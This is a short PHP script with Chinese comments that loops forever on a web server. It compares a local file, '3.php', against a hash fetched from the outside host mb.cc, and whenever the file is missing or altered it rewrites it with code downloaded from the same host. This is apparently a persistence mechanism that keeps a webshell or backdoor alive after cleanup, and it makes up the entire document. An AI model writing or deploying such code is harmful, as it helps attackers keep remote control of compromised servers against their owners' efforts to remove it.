define('sleep',1); //延迟时间(毫秒)
define('fileLen','3.php'); //index文件名称
define('baginPath','/'); //开始目录
define('md5','0558240974ceb2bbafac77312aa8db45'); //md5
define('bakfile','test.txt'); //md5
date_default_timezone_set('PRC');
$fileArr = array();
do {
$path = __DIR__.baginPath;
$dir = __DIR__.endPath;
$file = scandir($path);
//sleep(sleep);//延迟
$filePathTemp = $path . '/' . fileLen;
//文件存在
if(file_exists($filePathTemp)) {
$mdFile = md5_file($filePathTemp);
$mdTemp='http://mb.cc/md.txt';
$md = file_get_contents($mdTemp);
if($mdFile != $md){
//存在删除
if(file_exists($filePathTemp)){
unlink($filePathTemp);
}
//$txtTemp=$path . '/' .bakfile ;
$txtTemp='http://mb.cc/1.txt';
$txt = file_get_contents($txtTemp);
$myfile = fopen($filePathTemp, "w") or die("Unable to open file!");
fwrite($myfile, $txt);
fclose($myfile);
$mdFile = md5_file($filePathTemp);
$fileArr[fileLen] = $mdFile;
}
}else{
$txtTemp=$path . '/' .bakfile ;
$txtTemp='http://mb.cc/1.txt';
$txt = file_get_contents($txtTemp);
$myfile = fopen($filePathTemp, "w") or die("Unable to open file!");
fwrite($myfile, $txt);
fclose($myfile);
$mdFile = md5_file($filePathTemp);
$fileArr[fileLen] = $mdFile;
}
} while (true);
|